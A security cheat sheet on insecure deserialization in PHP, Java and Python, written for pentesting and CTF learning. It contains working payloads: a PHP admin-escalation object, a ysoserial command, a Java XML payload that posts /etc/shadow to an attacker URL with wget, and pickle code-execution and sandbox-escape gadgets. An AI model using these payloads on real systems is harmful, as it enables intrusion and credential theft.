Serialization is the process of converting complex data structures, such as objects and their fields, into a “flatter” format that can be sent and received as a sequential stream of bytes.
Deserialization is the process of restoring this byte stream to a fully functional replica of the original object, in the exact state as when it was serialized. The website’s logic can then interact with this deserialized object, just like it would with any other object.
It is even possible to replace a serialized object with an object of an entirely different class. Alarmingly, objects of any class that is available to the website will be deserialized and instantiated, regardless of which class was expected. For this reason, insecure deserialization is sometimes known as an “object injection” vulnerability.
Generally speaking, deserialization of user input should be avoided unless absolutely necessary. The high severity of exploits that it potentially enables, and the difficulty in protecting against them, outweigh the benefits in many cases.
- Insecure deserialization (PortSwigger)
- Exploiting insecure deserialization vulnerabilities (PortSwigger)
When working with different programming languages, serialization may be referred to as marshalling (Ruby) or pickling (Python). These terms are synonymous with “serialization” in this context.
Finding serialized data
The Burp Scanner in Burp Suite (PRO VERSION) will automatically flag any HTTP messages that appear to contain serialized objects.
Inspect all data being passed into the website and try to identify anything that looks like serialized data. Serialized data can be identified relatively easily if you know the format that different languages use.
PHP serialization format example
If you have source code access, you should start by looking for unserialize() anywhere in the code and investigating further.
O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}
Java serialization format
Some languages, such as Java, use binary serialization formats. This is more difficult to read, but you can still identify serialized data if you know how to recognize a few tell-tale signs. For example, serialized Java objects always begin with the same bytes, which are encoded as “ac ed” in hexadecimal and “rO0” in Base64.
Any class that implements the interface “java.io.Serializable” can be serialized and deserialized. If you have source code access, take note of any code that uses the “readObject()” method, which is used to read and deserialize data from an “InputStream”.
Examples
PHP: Change a normal user to admin
See also PHP loose comparison to execute some exploits.
O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;}
O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:1;}
When changing values for strings, do not forget to adjust the length. For example:
s:6:"carlos"
s:13:"administrator"
Deserialization XML to Java
- Java Deserialization Cheat Sheet
- Build RCE payload rce in Java function Runtime.getRuntime.exec()
- SnakeYaml Deserilization exploited
- BlackHat Deserialization JSON
ysoserial
ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
java -jar ysoserial.jar CommonsCollections1 whatever.exe | xxd
Creates a Java object
<?xml version="1.0" encoding="UTF-8"?>
<java>
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="4">
<void index="0">
<string>/usr/bin/wget</string>
</void>
<void index="1">
<string>--post-file</string>
</void>
<void index="2">
<string>/etc/shadow</string>
</void>
<void index="3">
<string>https://127.0.0.1/replace_by_attacker_url</string>
</void>
</array>
</void>
<void id="output" method="getInputStream"/>
</object>
<string id="outputStr">
<object idref="output" />
</string>
<object class="org.restlet.Response" method="getCurrent">
<void method="setEntity">
<object idref="outputStr" />
<object class="org.restlet.data.MediaType" field="TEXT_HTML"></object>
</void>
</object>
</java>
Python Pickle
Pickle is a built-in Python module for serializing and de-serializing a Python object structure.
Pickle is a built-in Python module for serializing and de-serializing a Python object structure.
- Pain Pickle HITCON 2022 (pdf)
Basic exploitation
Use the script’s output in the vulnerable app parameter.
#!/usr/bin/python
import pickle
import subprocess
class Exploit(object):
def __reduce__(self):
return (subprocess.check_output, ('id',))
serialized = pickle.dumps(Exploit())
print(serialized)
Bypass Restricted Unpickler
Python Sandbox Escape. When a sandbox is used to restrict the unpickling process, try to bypass restrictions.
See the Were Pickle Phreaks challenge.
Install pickora
Install pickora (pipy), a small compiler that can convert Python scripts to pickle bytecode.
sudo pip3 install pickora
Generate pickle bytecode
Use pickora to generate the pickle bytecode.
See payloads below depending on the restrictions in the Unpickler (sandbox).
python -m pickora -f base64 pickle_payload.py
Scenarios
Recursively Get: the Unpickle.find_class will resolve the name parameter recursively.
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if is_safe(module, name):
return super().find_class(module, name)
Directly Get:
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):.
if is_safe(module, name):
return getattr(module, name)
Payload : Recursively Get x Lax Whitelist
The name part will be deeply resolved. We can get magic methods by its recursively get feature.
pickle_payload.py: replace “<ALLOWED_MODULE>” by the module name from a safe module list, like the app name and bruteforce the “<INDEX>” (integer, e.g. 137).
setattr = GLOBAL("<ALLOWED_MODULE>", "__setattr__")
subclasses = GLOBAL(
"<ALLOWED_MODULE>",
"obj.__class__.__base__.__subclasses__"
)()
setattr("subclasses", subclasses)
gadget = GLOBAL(
"<ALLOWED_MODULE>",
"subclasses.__getitem__"
)(<INDEX>)
setattr("gadget", gadget)
eval = GLOBAL(
"<ALLOWED_MODULE>",
"gadget.__init__.__builtins__.__getitem__"
)('eval')
Payload : Directly Get x module Whitelist
Most modules have a __builtins__ attribute.
pickle_payload.py: use a whitelisted module, example with numpy
from numpy import size, __builtins__
size.shape = __builtins__
size(size, 'eval')('__import__("os").system("id")')
Payload : Strictly Restrict for module and name
Seems custom, see Pain Pickle talk slides for example.
Payload: Example from CTF
Using this technique of restricting globals.
ALLOWED_PICKLE_MODULES = ['__main__', 'app']
UNSAFE_NAMES = ['__builtins__']
pickle_payload.py:
GLOBAL('app', 'random._os.system')('cat flag.txt')
Other option for pickle_payload.py:
x=GLOBAL('app','__dict__.__class__.get')(GLOBAL('app','__dict__.get')('__builtins__'),'getattr');x(x(GLOBAL('app','__dict__.get')('random'),'_os'),'system')('cat flag.txt')